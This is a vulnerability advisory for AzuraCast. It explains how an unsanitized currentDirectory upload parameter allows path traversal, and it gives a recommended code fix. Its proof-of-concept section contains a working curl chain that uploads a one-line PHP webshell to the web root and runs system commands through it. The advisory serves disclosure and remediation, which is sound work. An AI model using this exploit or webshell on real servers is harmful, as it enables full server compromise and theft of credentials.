AzuraCast has Path Traversal in `currentDirectory` Parameter that Enables Remote Code Execution via Media Upload

Summary

The currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root.

Details

In backend/src/Controller/Api/Stations/Files/FlowUploadAction.php, the currentDirectory parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:

// FlowUploadAction.php:79-84
$currentDir = Types::string($request->getParam('currentDirectory'));

$destPath = $flowResponse->getClientFullPath();
if (!empty($currentDir)) {
    $destPath = $currentDir . '/' . $destPath;
}

While $flowResponse->getClientFullPath() is sanitized via UploadedFile::filterClientPath() (which strips .. segments), the $currentDir value is prepended after this sanitization, reintroducing traversal capability.

This $destPath is passed to MediaProcessor::processAndUpload() at line 95-98. The critical issue is in the finally block at backend/src/Media/MediaProcessor.php:114-117:

// MediaProcessor.php:75-117
try {
    if (MimeType::isFileProcessable($localPath)) {
        // ... process media ...
        return $record;
    }
    // ...
    throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.');
} catch (CannotProcessMediaException $e) {
    $this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage());
    throw $e;
} finally {
    $fs->uploadAndDeleteOriginal($localPath, $path);  // ALWAYS executes
}

The finally block writes the file to the traversed path regardless of whether the file passes MIME type validation. A .php file triggers CannotProcessMediaException, but the finally block still copies it to the destination before the exception propagates.

For local storage (the default), LocalFilesystem::upload() at backend/src/Flysystem/LocalFilesystem.php:45-57 resolves the path via getLocalPath():

// LocalFilesystem.php:45-57
public function upload(string $localPath, string $to): void
{
    $destPath = $this->getLocalPath($to);  // PathPrefixer::prefixPath() — simple concatenation
    $this->ensureDirectoryExists(dirname($destPath), ...);
    copy($localPath, $destPath);  // OS resolves ../
}

getLocalPath() delegates to PathPrefixer::prefixPath() (League Flysystem), which performs simple string concatenation without normalization. This bypasses the WhitespacePathNormalizer that would catch traversal if the path went through the standard Filesystem::write()/writeStream() methods. The OS-level copy() then resolves ../ sequences, writing outside the media root.

Note: RemoteFilesystem::upload() uses $this->writeStream() which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.

The route at backend/config/routes/api_station.php:399-405 requires StationPermissions::Media — a permission granted to DJs and station managers, not only admins.

PoC

Assuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:

Step 1: Upload a PHP webshell via path traversal

curl -X POST "http://localhost/api/station/1/files/upload" \
  -H "Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>" \
  -F "flowTotalChunks=1" \
  -F "flowChunkNumber=1" \
  -F "flowCurrentChunkSize=44" \
  -F "flowTotalSize=44" \
  -F "flowIdentifier=abc123" \
  -F "flowFilename=shell.php" \
  -F "currentDirectory=../../../../../var/azuracast/www/public" \
  -F "file_data=@shell.php"

Where shell.php contains:

<?php system($_GET['cmd']); ?>

Expected response: An error JSON (because .php is not a processable media type), but the file has already been written by the finally block.

Step 2: Execute commands via the webshell

curl "http://localhost/shell.php?cmd=id"

Expected output:

uid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast)

Impact

• Remote Code Execution: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user.
• Full Server Compromise: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration.
• Privilege Escalation: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access.
• Data Exfiltration: All station data, user credentials, and application secrets become accessible.

Recommended Fix

Sanitize currentDirectory in FlowUploadAction.php using the same filterClientPath() method used for filenames:

// FlowUploadAction.php — replace line 79:
$currentDir = Types::string($request->getParam('currentDirectory'));

// With:
$currentDir = UploadedFile::filterClientPath(
    Types::string($request->getParam('currentDirectory'))
);

Additionally, harden LocalFilesystem::upload() to normalize paths before use:

// LocalFilesystem.php — add path normalization in upload():
public function upload(string $localPath, string $to): void
{
    $normalizer = new WhitespacePathNormalizer();
    $to = $normalizer->normalizePath($to);  // Throws PathTraversalDetected on ../

    $destPath = $this->getLocalPath($to);
    $this->ensureDirectoryExists(
        dirname($destPath),
        $this->visibilityConverter->defaultForDirectories()
    );

    if (!@copy($localPath, $destPath)) {
        throw UnableToCopyFile::fromLocationTo($localPath, $destPath);
    }
}

Also sanitize flowIdentifier in Flow.php:67 to prevent secondary traversal in chunk directory creation.